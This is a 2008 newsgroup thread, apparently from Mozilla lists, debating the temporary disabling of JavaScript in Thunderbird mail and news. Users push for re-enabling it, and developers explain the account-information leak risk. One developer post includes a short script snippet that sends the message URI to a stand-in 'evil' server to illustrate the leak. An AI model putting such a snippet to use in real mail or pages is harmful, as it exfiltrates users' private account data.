Tb3 Development Direction (For comment)
JoeS
not have tried any of the alpha or nightly builds. I would describe the target audience as a group of users interested in
Multimedia in mail and Newsgroups. I choose this venue to avoid bugspam and yet gather opinions.
My personal use of html compose is mainly in Newsgroups, where such posts are a common interest.
Or a Holiday e-card to those that appreciate same.
It is *not* meant as a forum for the appropriateness of html use in Mailnews, so no flames please.
It *is* meant to show user interest for multimedia style composition.
Here are my current concerns:
1) Little or nothing has been done to aid in the composition of
"Good" html.
Indeed, given the tools in the composition window, it is quite
difficult to produce a "well formed" html message.
For instance, there is no way to insert <p> tags easily.
I'll not list any bugs here, anybody that uses html compose to any
extent is aware of the problems in editing inline styles
(advanced edit) and in using insert html as an editing tool. It's
the general lack of development for the html user that I
want to call attention to here.
2) Currently, Javascript is "temporarily" disabled in trunk builds.(no pref to turn on)
This obviously removes the composers ability to enhance compositions
with JS effects, but also disables the marquee tag completely.
In addition, RSS feeds that require JS to pull content are severely affected. (YouTube feeds are one example)
Javascript is an important tool for enhanced html composition, and should be made available by pref.
I would be the first to admit that folks that use these features are in the minority, and suggest that the reason
for this fact is that they have been pretty much trivialized and regarded as edge cases in the user base.
This post is in plaintext in deference to the preferences of this group and the mailing list users.
Please observe proper decorum and etiquette in responding to this post, as the subject may be considered controversial.
Ricardo Palomares Martínez
> Here are my current concerns:
>
>
> 1) Little or nothing has been done to aid in the composition of
> "Good" html.
>
> Indeed, given the tools in the composition window, it is quite
> difficult to produce a "well formed" html message.
>
> For instance, there is no way to insert <p> tags easily.
Just go to Format -> Paragraph -> Paragraph to have your regular text
wrapped in a <p> element, or choose "Paragraph" from the drow-down box
in composition toolbar. That should work (it does for me).
Enabling JavaScript for e-mail looks like a dangerous thing to me.
Even if Thunderbird allow to turn in on/off, the general consensus
should be to have it disabled, so you won't gain a lot, because most
recipients won't see the e-mail like you intended to. Still, providing
a way to turn it on (defaulting to off) would be interesting.
Ricardo.
Jay Garcia
--- Original Message ---
Best I can comment by example. When my kids were away at college, we
emailed back and forth with messages formatted in HTML. It was a nice
way to convey our thoughts rather than just in plain b/w text. Now that
my kids are grown, we still message back and forth with the grand kids,
etc. I am afraid that if this is taken away from us, not only our
households will move on, so will a lot of others world-wide. It is my
opinion that this will kill Thunderbird, a really great application.
Taking away functionality that has existed for over a decade is NOT in
the best interest of development, but rather enriching that function is
the more desirable avenue of development.
--
Jay Garcia - Netscape/Flock Champion
www.ufaq.org
Netscape - Flock - Firefox - Thunderbird - Seamonkey Support
Joshua Cranmer
> 1) Little or nothing has been done to aid in the composition of
> "Good" html.
>
> Indeed, given the tools in the composition window, it is quite
> difficult to produce a "well formed" html message.
I believe the actual HTML editor is external to mailnews libraries in
the same way that LDAP is external.
> 2) Currently, Javascript is "temporarily" disabled in trunk
> builds.(no pref to turn on)
>
> This obviously removes the composers ability to enhance compositions
> with JS effects, but also disables the marquee tag completely. In
> addition, RSS feeds that require JS to pull content are severely
> affected. (YouTube feeds are one example)
The temporary disabling was just that--temporary. With beta 1 (or so we
thought) coming out soon, and the news that JS security checks might be
bypassed, the decision was made to just pull JS and be more secure than
not, since the correct security code could not have been finished in
time for the release.
Phillip M. Jones, C.E.T
I can tell the developers that I as a User and supporter, person that
files bug reports, and user of SeaMonkey, FireFox, and Thunderbird if
the ability to use Javascript and or html is disabled temporarily, or
permanently; I will make an effort to find another mail & newsreader; or
continue to use older versions that that allows JS, and html and cease
any and all use mozilla Products. I will stay with TB 2 and stay with
Seamonkey 1.
Its not for the developers to say what should or should not be in TB or
other Mozilla products but the users.
The use of Mozilla products have gone down and and will fall off the
charts if the JS is permanently disabled.
Do you realize that if JS is removed. I will no longer be able to use my
ISP's Web Mail. Also do you know That acrobat allows and actually has a
JS engine built in so that PDF can be interactive. some and maybe all
PDF may no longer be seen on or even called up through TB or other
Mozilla products with JS turned off.
What the developers are not realizing is That many items used daily on
the internet, will be permanently disabled if JS is removed.
Javascript has become such an integral part of the internet and Mail and
news, that it has become indispensable.
--
------------------------------------------------------------------------
Phillip M. Jones, CET mailto:pjo...@kimbanet.com
If it's "fixed", don't "break it"! http://www.vpea.org
http://www.kimbanet.com/~pjones/default.htm
G4-500 Mac 1.5 GB RAM OSX.3.9 G4-1.67 GB PowerBook 17" 2GB RAM OSX.4.11
------------------------------------------------------------------------
Michael Gordon
Looking beyond the narrow view port of the developer community we see a
real need and requirement for Rich Text (HTML) and scripting in
mail/news. Those of us who provide support for our own programs and
customers rely upon the ability to enhance our support efforts with Rich
Text and working examples of the support issue.
If I am trying to explain how to use CSS on a web page to position an
element and enhance the text within that element in place of using
tables and HTML tags, it is much easier to get the point across with
both the CSS code and a working example.
This issue goes much farther than the simple example described above, it
also must cover all other forms of scripting available throughout the
Web Community. The ability to quickly provide support and examples in
e-mail is an economic and productivity brick wall, without this
invaluable tool people who provide all levels of support will be
required to find mail clients that will provide this much needed tool.
A solution to your dilemma would be to create a "Scripting Button" on
the tool bar defaulted to "Text Only", this would only render plain
ascii text. When the button is ticked to "HTML Scripting" then all the
scripting options available to web authors would be rendered and
composed in the message body.
Within the above suggestion another option can be included as a tool bar
pop up when the mail client is in Text Only mode and the incoming
message is written with HTML and/or scripting; "The current message
contains HTML formatting, or Scripting, click the HTML button to render
in HTML". You could also include a security warning for a message from
an unknown source. Other e-mail clients do this for their users
everyday when the scripting option has been defaulted to OFF. Outlook
is one I personally know about at my work site.
The bottom line in development for security issues is that the end user
is the person responsible for maintaining his/her mail security, the
development team's responsibility is to provide the tools to enhance
security without killing the tools we need for user support.
Respectfully,
Michael Gordon
JoeS
Given that more folks are likely to try a release b1 or a3 over a nightly,
just more reason for long-time users of JS to be "surprised"
Doubt if many would dig into the relnotes to see why.
Siddharth Agarwal
<pjo...@kimbanet.com> wrote:
> Do you realize that if JS is removed. I will no longer be able to use my
> ISP's Web Mail.
Sorry, this doesn't make sense. Why will you no longer be able to use
your ISP's webmail, and what does webmail have to do with Thunderbird?
> Also do you know That acrobat allows and actually has a
> JS engine built in so that PDF can be interactive. some and maybe all
> PDF may no longer be seen on or even called up through TB or other
> Mozilla products with JS turned off.
Why? I'd presume that a PDF from Thunderbird opens in an external
application. How will disabling JS impact that?
>
> Javascript has become such an integral part of the internet and Mail and
> news, that it has become indispensable.
I think JS is actually an edge case for mail/news.
Siddharth
Moz Champion (Dan)
I fail to understand why javascript would be so dangerous in
Thunderbird, after all it is available on Firefox. I have yet to see any
javascript exploit on the web, and I have been running javascript since
1997. I also visit each and every spam page I come across (over 12,000
at last count) AND all the pages that cause problems for others. Yet in
all that time and exposure, I have NOT seen one javascript exploit that
causes any damage or corruption.
(aside from some proof of concept ones)
And we are speaking of a mail-news program here, not a browser in any
case. Do you propose they disable javascript in Firefox as well - it is
much more 'exposed' to maliciousness than Thunderbird would be.
As Joe says, Javascript capabilities ARE quite valuable and important in
the creation and display of multimedia content in mail-news. They should
be 'available' for users who wish to use such.
Disabling Javascript in Thunderbird because it MIGHT be a threat is in
my opinion tantamount to saying you might as well disable Email because
you MIGHT get a virus!
There are over 100,000 viruses out there, that can be delivered via
email - in comparison to a handful of 'proof of concept' javascript
exploits - none of which as far as I can tell would have affected
Thunderbird in any case. Yet developers are disabling js and not email?
If js is so dangerous, then why hasn't it been disabled on Firefox,
SeaMonkey, IE, Opera, Safari, or Camino? They are constantly exposed to
it day in and day out, but none of those browsers come with js even
defaulted to off, let alone disabled!
SeaMonkey for example, as a 'all in one' browser/email/news package
comes with javascript defaulted 'on' (enabled). Yet developers are
disabling it in Thunderbird because it MIGHT be dangerous? Providing a
switch for it (ala Firefox, SeaMonkey and others) so users CAN disable
if they wish might be acceptable, but disabling it so that no one can
use it regardless?
Moz Champion (Dan)
The 'problem' then becomes, what is the impetus to write the correct
security code after the release comes out? Developers could well
'assume' that since very few 'complained' about the lack of javascript
they wouldn't 'bother' with writing the coding needed.
And once you 'temporarily' disable such an integral part of a mail news
program (to some anyways) what is going to prevent an exodus of those
interesting in HTML/JS in email news? They will move on to other
programs, and even when you do re-enalble js it will be ignored.
For those who are 'into' HTML in mail-news (and JS is an important part
of such) most are NOT computer 'geeks' or developers. They are for the
most part, users who want to creat multimedia content in email or news.
If a program doesn't work, they will go to others, and once they become
proficient in its use, drawing them back is a lost cause.
Siddharth Agarwal
> On Sun, Oct 5, 2008 at 8:57 PM, Moz Champion (Dan)
> <moz.ch...@sympatico.ca> wrote:
>> There are over 100,000 viruses out there, that can be delivered via
>> email - in comparison to a handful of 'proof of concept' javascript
>> exploits - none of which as far as I can tell would have affected
>> Thunderbird in any case. Yet developers are disabling js and not email?
The difference is that most email exploits (at least in recent days;
not talking about c. 2000 Microsoft clients) require user
intervention, which is something that cannot be ultimately protected
against, while most JS exploits in my understanding do not.
Siddharth
Siddharth Agarwal
<moz.ch...@sympatico.ca> wrote:
>
> For those who are 'into' HTML in mail-news (and JS is an important part
> of such) most are NOT computer 'geeks' or developers. They are for the
> most part, users who want to creat multimedia content in email or news.
> If a program doesn't work, they will go to others, and once they become
> proficient in its use, drawing them back is a lost cause.
I'm curious to know exactly what you can do in a mail client with JS
that you cannot do with a link to a page holding the same content.
(my opinion is that JS is a completely frivolous part of mail. Of
course it might be biased by the fact that I've never ever received a
legitimate mail with JS in it)
Moz Champion (Dan)
Then why do you want it turnned OFF then?
You have most definately received lots of email that have attachments,
but you are not advocating disabling that capability are you? Any of
those attachments could have been a virus.
Yet, even if there WAS a javascript exploit that could be used in mail
WITHOUT user indulgence - heck, you wouldn't get it anyway!
To you it is 'frivilous' - to other who USE the capabilities it is not.
I send out 4 HTML news posts every day. Most don't use JS, but there are
some that have.
You can view these 'posts' on
alt.binaries.joker
or, as an alternative, you can have me send them to you direct in email
(address is on the posts)
as well as other HTML posts. And to see the full fledged capabilties of
a js enabled mail-news program I invite you to visit
snews://secnews.netscape.com/netscape.test.multimedia
NB: Caution - a 100 posts there can be the size of 1000 posts in a plain
text group - when people get creative they do it big.
Why don't I send out those posts as simply 'links' becaue they are NOT
extant web pages! I create them (from sources on the web) as I go along.
I grab an image here, some text there (or write my own), from sources
that are free for such use.
No one is asking you to accept js in email and news, you can turn it off
if you want. All we are asking is that you do not take away the
capability of using it from those that do.
JoeS
Nobody is suggesting that JS should be sent to those not interested.
But lets say I'm a professional photographer that wants to send thumbnails that expand with JS
Some folks would like that. OOps, better start using OE if I want to view those proofs.
Just an example, Newsgroup usage is the real need here. Newsgroups are subscribed to by people
with a common interest, one of which is enhancing messages with whatever tools are available.
Moz Champion (Dan)
Show me ONE javascript exploit that DOESN'T require user intervention
in use. Why are not all Firefox users infected by these javascript
menaces? Simple, because they don't exist.
Oh yes, you can point to any of a dozen or so 'proof of concept'
javascript exploits that MAY have worked in the past at one point. But
you simply CANNOT provide one that is current. Nor can you point to any
that were used maliciously in the past (Again aside from those 'proof of
concepts')
I have yet to come across a js exploit that doesn't require user
intevention of one sort or another.
"... in my understanding do not." is simply fear of fear itself.
Something MIGHT be possible one day, so let's panic and disable it
today, just in case.
All we have to fear is fear itself as FDR put it.
Michael Gordon
> Joshua Cranmer wrote:
>> JoeS wrote:
>>> 1) Little or nothing has been done to aid in the composition of "Good"
>>> html.
>>>
>>> Indeed, given the tools in the composition window, it is quite
>>> difficult to produce a "well formed" html message.
>> I believe the actual HTML editor is external to mailnews libraries in
>> the same way that LDAP is external.
>>
>>> 2) Currently, Javascript is "temporarily" disabled in trunk builds.(no
>>> pref to turn on)
>>>
>>> This obviously removes the composers ability to enhance compositions
>>> with JS effects, but also disables the marquee tag completely. In
>>> addition, RSS feeds that require JS to pull content are severely
>>> affected. (YouTube feeds are one example)
>> The temporary disabling was just that--temporary. With beta 1 (or so we
>> thought) coming out soon, and the news that JS security checks might be
>> bypassed, the decision was made to just pull JS and be more secure than
>> not, since the correct security code could not have been finished in
>> time for the release.
>
>
> The 'problem' then becomes, what is the impetus to write the correct
> security code after the release comes out? Developers could well
> 'assume' that since very few 'complained' about the lack of javascript
> they wouldn't 'bother' with writing the coding needed.
This sounds a lot like a government tax on the population, the tax is
temporary for 3 years.
At the end of 3 years the tax gets renewed automatically, by default.
Gus Richter
>
> The temporary disabling was just that--temporary. With beta 1 (or so we
> thought) coming out soon, and the news that JS security checks might be
> bypassed, the decision was made to just pull JS and be more secure than
> not, since the correct security code could not have been finished in
> time for the release.
Some time ago there was a pull-back of CSS capability in Thunderbird.
This was a *temporary* measure to accommodate Linux users in order to
fix a bug, for whatever problem they had with whatever situation. This
*temporary* measure seems to have turned into *permanent* for such a
long time that it seems to be years, long forgotten and certainly off
the radar of the people that took the *temporary* measure. I would
prefer to wait this time until all is fixed and not depend on anyone's
promise of *temporary*. Why not temporarily shut down the text/plain
capability *temporarily* instead?
There has been a steady deterioration of Thunderbird HTML capability in
the name of security that it reeks of Homeland security excesses.
--
Gus
Ron K.
During the period when Netscape Communicator had 75%+ market share,
Netscape invested in development of DHTML (Dynamic HTML) where the JS 1.2
language could be used to move content within the rendered display of a
mail or news message in the same manner as a web page. This being possible
because the HTML renderer was JS and Java enabled. During the years of
DHTML testing done on the Netscape news server I built up a library of more
than 20 javascripts to perform animation effects.
Bear in mind, the composer Netscape had was primarily a WYSIWYG editor with
one nice exception. It used yellow icons for Start and End of HTML tags
not in it's default library of Auto-generated compose tags. This feature
difference is one Mozilla Composer lacks, and causes Composer to *NOT* be
user friendly. The challenge is: Try to find a single DIV within a message
while working in WYSIWYG mode. The Raw HTML Edit which can be done in the
Insert HTML sub-window is a defective editor that causes damage a users
added tag content when the edit is inserted.
So why have I dwelt on the HTML editor. The short answer is, it is the one
window in which the full content of a script can be seen when editing. The
"Advanced Editor" function of Insert Image, etc. is the other means of
adding JS.
What I believe is that Tb needs JS as an active User config option. The
program should have a set of Protocol Specific security policies. That JS
could use a white list of Tags, much like the Junk Sanitize feature uses.
Additionally the Domain function in Options be extended to News to enable
White/Black listing of News Domains (Servers, and potentially Groups). Thus
there could be a UI to interface with CAPS to set JS restriction levels.
I am avoiding the RSS case because I do not like or use the Tb
implementation and do all feeds with Fx. Thus I am not qualified to render
an opinion for that case of JS use.
--
Ron K.
Who is General Failure, and why is he searching my HDD?
Kernel Restore reported Major Error used BSOD to msg the enemy!
JoeS
Thanks very much for the opinions and interactions. I'm sure there will be more posts coming.
Coincidentally, I just viewed a newsgroup post containing an embedded flash.
Adobe flash version 9.0.124.0 very politely informed me of the remote web-based content, and asked me what I wanted to do.
I said "yes" and the "action script" content proceeded as designed.
BTW action script is every bit as powerful, and potentially dangerous as JS AFAIK
Please note..They asked...I decided
Kudos to the Adobe team. We need to provide the same kind of options for our users.
--
Joe
M KC
For those of us who use in HTML/JS in email news all we are asking for
is the right to choose.
If the main concern is security make the default 'disabled' but provide
those of us the choice of 'enabling'.
I fully respect those who do not use or want to use HTML/JS all I ask
is the same respect is shown to those who do and the opportunity to do so.
Margaret
LnrB
in my own newsgroup and in OE dominated groups on various servers.
Without this ability I could not stream midis or mp3s, or include
moving elements in my newsgroup compositions or in emails to my
family. They all enjoy my creations especially my elderly grandfather.
Like others, I think choice is critical to the success of any
application. If people want plain text only, they should be able to
turn off all multimedia, but those of us who enjoy something more than
plain text should not have this Locked Down, Chained Up mentality
forced upon us. Otherwise people will choose OE like so many former
Netscape users already have.
I do not understand this galloping paranoia about
multimedia/Javascript. OE handles js just fine and we don't hear horror
stories about massive security breeches in OE Multimedia newsgroups. If
users really hate Multimedia so much they should just shut it off.
Since the breakup of Mozilla, there has been a steady decline in ease of
use of the Geckos, and a corresponding decline in user base. OE had 50%
of the mail/news 'market' when I first came to the Internet 6 years ago.
Now they have virtually all of it. Removing multimedia capability will
certainly guarantee that the remaining tenacious few will gradually
drift away, and the only thing left will be a mail/news application that
has less useful capability than almost anything else on the net and a
footnote in Internet History.
(';')
Phillip M. Jones, C.E.T
> On Sun, Oct 5, 2008 at 7:54 PM, Phillip M. Jones, C.E.T
> <pjo...@kimbanet.com> wrote:
>> Do you realize that if JS is removed. I will no longer be able to use my
>> ISP's Web Mail.
>
> Sorry, this doesn't make sense. Why will you no longer be able to use
> your ISP's webmail, and what does webmail have to do with Thunderbird?
Because if Js is banned in TB FF, and SM will follow suit.
>
>> Also do you know That acrobat allows and actually has a
>> JS engine built in so that PDF can be interactive. some and maybe all
>> PDF may no longer be seen on or even called up through TB or other
>> Mozilla products with JS turned off.
>
> Why? I'd presume that a PDF from Thunderbird opens in an external
> application. How will disabling JS impact that?
I use a Pdf viewer Plugin that allow for the viewing and use of PDF
>
>>
>> Javascript has become such an integral part of the internet and Mail and
>> news, that it has become indispensable.
>
> I think JS is actually an edge case for mail/news.
>
> Siddharth
Just what I figured. Typical developer close-mind as to the needs and
wants of the user.
Developers need to get off this kick that something is developped for
personal aggrandizement of the developer. A product is developed strict
to the end user in mind. If the end user wants JS in mail and news Then
they should have it.
Phillip M. Jones, C.E.T
as an added point.
Even in IE (yes a web browser) active-X which has become a Bane of Web
browsers. IE now has it turned off. when first opened (I have researched
the point) but provide a Preference to to turn it on if the user wants.
You should leave the decision up to the user to take the risk.
Phillip M. Jones, C.E.T
And what about us Mac folks. We don't have the Luxury of using IE/OE
they have been discontinued since versions 5.2.3 IE/OR will now be up to 8.
Boris Zbarsky
> I fail to understand why javascript would be so dangerous in
> Thunderbird, after all it is available on Firefox.
For example, because in a web page the page URI is already known to the
server, but in a mail message it's a URI that includes the user's
account information. Therefore, in mail the page URI must not escape to
any HTTP servers. If you look through the existing mail security
preferences (the ones that no longer work on trunk due to core changes),
you will see significant efforts aimed at preventing such data escape.
The reason it's off by default, by the way, is that there is no
guarantee that all the little holes that allow this data to escape have
been closed off (and in particular, with some of the core DOM changes in
Gecko 1.8 or 1.7 new such holes were added that mailnews didn't know
about; if you have mail on in mailnews right now, you're vulnerable).
There are a few other things along similar lines, but they all come down
to there being higher expectations for privacy in an e-mail context than
a browsing context, and higher risks of private information exposure.
> I have yet to see any javascript exploit on the web
Odd. They certainly exist!
> I also visit each and every spam page I come across (over 12,000
> at last count)
Does your browser ever crash when you do this? In any case, see above
for reasons that mail is different from browser.
> And we are speaking of a mail-news program here, not a browser in any
> case. Do you propose they disable javascript in Firefox as well - it is
> much more 'exposed' to maliciousness than Thunderbird would be.
They're equally exposed. Possibly Thunderbird is more so, since to get
malicious JS from a web page you have to visit it, whereas to get
malicious JS in your mail you just have to have a spammer sending
malicious JS and then read your mail.
> As Joe says, Javascript capabilities ARE quite valuable and important in
> the creation and display of multimedia content in mail-news. They should
> be 'available' for users who wish to use such.
I don't see anyone arguing against that. Do you? The feature is
_temporarily_ disabled, because enabling it would open up major security
holes due to changes in the core security architecture.
> Disabling Javascript in Thunderbird because it MIGHT be a threat
It's not a "might". It's a "I can write exploit code right this minute".
> If js is so dangerous, then why hasn't it been disabled on Firefox,
> SeaMonkey, IE, Opera, Safari, or Camino?
None of those are e-mail programs (modulo seamonkey; see below).
> SeaMonkey for example, as a 'all in one' browser/email/news package
> comes with javascript defaulted 'on' (enabled)
JS is off in e-mail in Seamonkey right now; it uses the same security
code as Thunderbird, and it's off for the same reasons.
> Yet developers are
> disabling it in Thunderbird because it MIGHT be dangerous?
Reading comprehension, please. At the moment, it's disabled
_temporarily_ because at the moment is IS dangerous. No "might" about
it. As soon as it's on, you lose. It would be nice to reenable it, but
not at the cost of the very real and immediate security issues that
ensue. So a prerequisite for reenabling it is to remove those security
issues.
-Boris
Peter Potamus the Purple Hippo
> Moz Champion (Dan) wrote:
>> If js is so dangerous, then why hasn't it been disabled on Firefox,
>> SeaMonkey, IE, Opera, Safari, or Camino?
>
> None of those are e-mail programs (modulo seamonkey; see below).
check again: Opera is!
>> SeaMonkey for example, as a 'all in one' browser/email/news package
>> comes with javascript defaulted 'on' (enabled)
>
> JS is off in e-mail in Seamonkey right now; it uses the same security
> code as Thunderbird, and it's off for the same reasons.
that might be true, but in SeaMonkey, I have the choice
of turning it back on or leaving it off.
--
*IMPORTANT*: Sorry folks, but I cannot provide email
help!!!! Emails to me may become public
Notice: This posting is protected under the Free Speech
Laws, which applies everywhere in the FREE world,
except for some strange reason, not to the mozilla.org
newsgroup servers, where your posting may get you banned.
Peter Potamus & His Magic Flying Balloon:
http://melaman2.com/cartoons/singles/mp3/p-potamus.mp3
http://www.toonopedia.com/potamus.htm
Boris Zbarsky
> Because if Js is banned in TB FF, and SM will follow suit.
Uh... Sorry, that's bullshit. No one's talking about disabling JS in
the browser, because the attack area is actually smaller there. See my
other post on this thread.
>>> Also do you know That acrobat allows and actually has a
>>> JS engine built in so that PDF can be interactive. some and maybe all
>>> PDF may no longer be seen on or even called up through TB or other
>>> Mozilla products with JS turned off.
Gecko's internal JS enabled state doesn't affect the Adobe plug-in's.
If you allow the plug-in, it will probably allow JS in PDFs to run. Of
course it does this in its own sandbox, not in the browser scripting
context.
> Developers need to get off this kick that something is developped for
> personal aggrandizement of the developer. A product is developed strict
> to the end user in mind. If the end user wants JS in mail and news Then
> they should have it.
If the toothpaste end user wants that sweet ethylene glycol he should
have it too, right?
The problem here is that a user does not not understand the risks
associated with enabling JS (I say this with confidence, since there are
no more than 2 people, and most likely no one at all, who actually know
what risks enabling JS in Gecko-based e-mail actually carries). The
solution is to minimize those risks or disable JS altogether. The
existing risk-minimization scheme no longer works, so it becomes a basic
question of whether to ship a beta with JS off or not ship anything at
all for several more months while a new risk-minimization scheme is
designed.
There _is_ another legitimate question here, which is whether the number
of users who want JS outweighs the number who don't want it and want
something else that the time could be spent on instead. This isn't
pleasant to hear for users who want JS (I'm been in that situation
before). But that doesn't make the question an unreasonable one.
What's needed is data, not anecdotes.
-Boris
-Boris
Boris Zbarsky
> check again: Opera is!
OK, true. But the original context was talking about the web browser part.
>> JS is off in e-mail in Seamonkey right now; it uses the same security
>> code as Thunderbird, and it's off for the same reasons.
>
> that might be true, but in SeaMonkey, I have the choice of turning it
> back on or leaving it off.
Actually, no. On trunk, you don't.
-Boris
Peter Potamus the Purple Hippo
> If the toothpaste end user wants that sweet ethylene glycol he should
> have it too, right?
>
> The problem here is that a user does not not understand the risks
> associated with enabling JS (I say this with confidence, since there are
> no more than 2 people, and most likely no one at all, who actually know
> what risks enabling JS in Gecko-based e-mail actually carries).
thanks for classifying the 'user' as being stupid.
Philip Chee
> Boris Zbarsky wrote:
>
>> If the toothpaste end user wants that sweet ethylene glycol he should
>> have it too, right?
>>
>> The problem here is that a user does not not understand the risks
>> associated with enabling JS (I say this with confidence, since there are
>> no more than 2 people, and most likely no one at all, who actually know
>> what risks enabling JS in Gecko-based e-mail actually carries).
>
> thanks for classifying the 'user' as being stupid.
Grant, I'm pretty sure you know the difference between "stupidity" and
"ignorance". Please read the bits you quoted and point out to me where
Boris mentioned "stupid".
Phil
--
Philip Chee <phi...@aleytys.pc.my>, <phili...@gmail.com>
http://flashblock.mozdev.org/ http://xsidebar.mozdev.org
Guard us from the she-wolf and the wolf, and guard us from the thief,
oh Night, and so be good for us to pass.
[ ]Was Beethoven's 1st movement done in the toilet or privy?
* TagZilla 0.066.6
Peter Potamus the Purple Hippo
> On Mon, 06 Oct 2008 09:13:08 -0700, Peter Potamus the Purple Hippo wrote:
>> Boris Zbarsky wrote:
>>
>>> If the toothpaste end user wants that sweet ethylene glycol he should
>>> have it too, right?
>>>
>>> The problem here is that a user does not not understand the risks
>>> associated with enabling JS (I say this with confidence, since there are
>>> no more than 2 people, and most likely no one at all, who actually know
>>> what risks enabling JS in Gecko-based e-mail actually carries).
>> thanks for classifying the 'user' as being stupid.
>
> Grant, I'm pretty sure you know the difference between "stupidity" and
> "ignorance". Please read the bits you quoted and point out to me where
> Boris mentioned "stupid".
>
> Phil
>
its implied! He may not have said it, but thats the
impression I received when I read it.
Moz Champion (Dan)
> Moz Champion (Dan) wrote:
>> I fail to understand why javascript would be so dangerous in
>> Thunderbird, after all it is available on Firefox.
>
> For example, because in a web page the page URI is already known to the
> server, but in a mail message it's a URI that includes the user's
> account information. Therefore, in mail the page URI must not escape to
> any HTTP servers. If you look through the existing mail security
> preferences (the ones that no longer work on trunk due to core changes),
> you will see significant efforts aimed at preventing such data escape.
Passing generated uri's to Thunderbird does not yield results, so it is
not javascript or a 'malicious' javascript doing anything on this score.
If 'account information' is being included in a request to a server,
then it is generated by Thunderbird, not a javascript.
>
> The reason it's off by default, by the way, is that there is no
> guarantee that all the little holes that allow this data to escape have
> been closed off (and in particular, with some of the core DOM changes in
> Gecko 1.8 or 1.7 new such holes were added that mailnews didn't know
> about; if you have mail on in mailnews right now, you're vulnerable).
As I said, I have been 'vulnerable' since 1997 - yet when am I suppossed
to see these 'bad things' that are suppossed to occur?
>
> There are a few other things along similar lines, but they all come down
> to there being higher expectations for privacy in an e-mail context than
> a browsing context, and higher risks of private information exposure.
>
> > I have yet to see any javascript exploit on the web
>
> Odd. They certainly exist!
>
>> I also visit each and every spam page I come across (over 12,000 at
>> last count)
>
> Does your browser ever crash when you do this? In any case, see above
> for reasons that mail is different from browser.
No, only in very rare circumstances (something like 1 in every 3000 or
so) does going to a spam page - or a site that others have difficulty
with - crash my browser. Again, with no repercussions that I am aware
of? Where are all these 'javascript' exploits hiding that are suppossed
to do damage to my computer or files (damage defined as adding something
or corrupting or introducing a new file etc)
>
>> And we are speaking of a mail-news program here, not a browser in any
>> case. Do you propose they disable javascript in Firefox as well - it
>> is much more 'exposed' to maliciousness than Thunderbird would be.
>
> They're equally exposed. Possibly Thunderbird is more so, since to get
> malicious JS from a web page you have to visit it, whereas to get
> malicious JS in your mail you just have to have a spammer sending
> malicious JS and then read your mail.
How is a javascript going to allow a spammer to read my mail? My mail
password isn't sent back when I receive an email, he/she cannot access
my mail account without it.
Again, you are talking POSSIBILITIES not actualities.
>
>> As Joe says, Javascript capabilities ARE quite valuable and important
>> in the creation and display of multimedia content in mail-news. They
>> should be 'available' for users who wish to use such.
>
> I don't see anyone arguing against that. Do you? The feature is
> _temporarily_ disabled, because enabling it would open up major security
> holes due to changes in the core security architecture.
>
>> Disabling Javascript in Thunderbird because it MIGHT be a threat
>
> It's not a "might". It's a "I can write exploit code right this minute".
>
>> If js is so dangerous, then why hasn't it been disabled on Firefox,
>> SeaMonkey, IE, Opera, Safari, or Camino?
>
> None of those are e-mail programs (modulo seamonkey; see below).
>
>> SeaMonkey for example, as a 'all in one' browser/email/news package
>> comes with javascript defaulted 'on' (enabled)
>
> JS is off in e-mail in Seamonkey right now; it uses the same security
> code as Thunderbird, and it's off for the same reasons.
>
>> Yet developers are disabling it in Thunderbird because it MIGHT be
>> dangerous?
>
> Reading comprehension, please. At the moment, it's disabled
> _temporarily_ because at the moment is IS dangerous. No "might" about
> it. As soon as it's on, you lose. It would be nice to reenable it, but
> not at the cost of the very real and immediate security issues that
> ensue. So a prerequisite for reenabling it is to remove those security
> issues.
>
> -Boris
No, the POSSIBILITY exists that it might be dangerous.
I know of NO javascript attacks that have been carried out in email on
any scale - and neither do any of the 'security' sites that monitor
such things.
So while the POSSIBILITY might be there, the actual thing is not.
Once more, it is POSSIBLE for a hacker to sit on your IP and monitor
(and record) all traffic inbound and outbound
As well, it is POSSIBLE for a hacker to decode SSL.
Possible, but not plausible. A hacker is not going to waste their time
looking at an individuals account, they would be sitting on a Banks or
other Financial institutions IP, not yours.
So, why don't you TEMPORARILY turn off your computer until it is safe?
I promise to send you snail mail when it is safe to turn it back on if
you would like.
That is exactly what you are doing with javascript.
JS isn't DISABLED in my SeaMonkey -
I can go into
[SeaMonkey-->Preferences]*-->Advanced-->Scripts & Plugins
and enable it in Mail & news
So why is it being DISABLED in Thunderbird, at a level where a user
cannot re-enable it if they choose?
Once, more. Shipping a product with it defaulted to OFF is one thing,
but DISABLING it so a user cannot turn it back on IF they so desire is
something else entirely.
Moz Champion (Dan)
I am talking user versions here.
On SeaMonkey USER versions you can enable it if you wish. It is NOT
disabled.
Moz Champion (Dan)
If there are no more than 2 people who know what the risks are in
enabling javascript, then how is it 'dangerous'? Nobody knows it!
And if nobody knows it (other than those 2 people) then how could
somebody be writing malicious code that takes advantage of it?
You can't claim, that there are malicious javascripts out there that are
taking advantage of exploits in Gecko, and then turn around and claim
that only 2 people know about it.
So if you are confident that USERS don't know. then I am confident that
hackers don't know either!
You end your missive with.... what's needed is data, not anecdotes. Yet
all this talk about 'risks' in Thunderbirds implementation of javascript
IS anecdotal!
Please quote the javascript exploits that are 'out there' that are these
risk factors you are speaking of.
You want OUR data, but you don't have yours?
Boris Zbarsky
> Passing generated uri's to Thunderbird does not yield results, so it is
> not javascript or a 'malicious' javascript doing anything on this score.
> If 'account information' is being included in a request to a server,
> then it is generated by Thunderbird, not a javascript.
<img id="x">
<script>
document.getElementById("x").src=
"http://my.evil.server/collect-data?uri=" + window.location.href;
</script>
Of course we could just not load that image. How can we tell it apart
from a perfectly valid image in HTML mail, though? Or from a case when
the JS is legitimately setting an image URI to something out on the web?
Seriously, it's not like people haven't been thinking hard about this.
For years, in some cases.
> As I said, I have been 'vulnerable' since 1997 - yet when am I suppossed
> to see these 'bad things' that are suppossed to occur?
Well, the good rootkits don't advertise themselves, for what it's worth.
Nor do the good people collecting passwords and so forth.
>> They're equally exposed. Possibly Thunderbird is more so, since to
>> get malicious JS from a web page you have to visit it, whereas to get
>> malicious JS in your mail you just have to have a spammer sending
>> malicious JS and then read your mail.
>
> How is a javascript going to allow a spammer to read my mail?
Reading comprehension again. You're the one reading your mail. The
spammer is the one getting info about your mail account in the process
if you enable JS in current trunk builds.
> JS isn't DISABLED in my SeaMonkey -
> I can go into
>
> [SeaMonkey-->Preferences]*-->Advanced-->Scripts & Plugins
>
> and enable it in Mail & news
That preference is ignored on trunk. Just like the corresponding
preference in Thunderbird is ignored. Please do read
nsScriptSecurityManager.cpp.
> Once, more. Shipping a product with it defaulted to OFF is one thing,
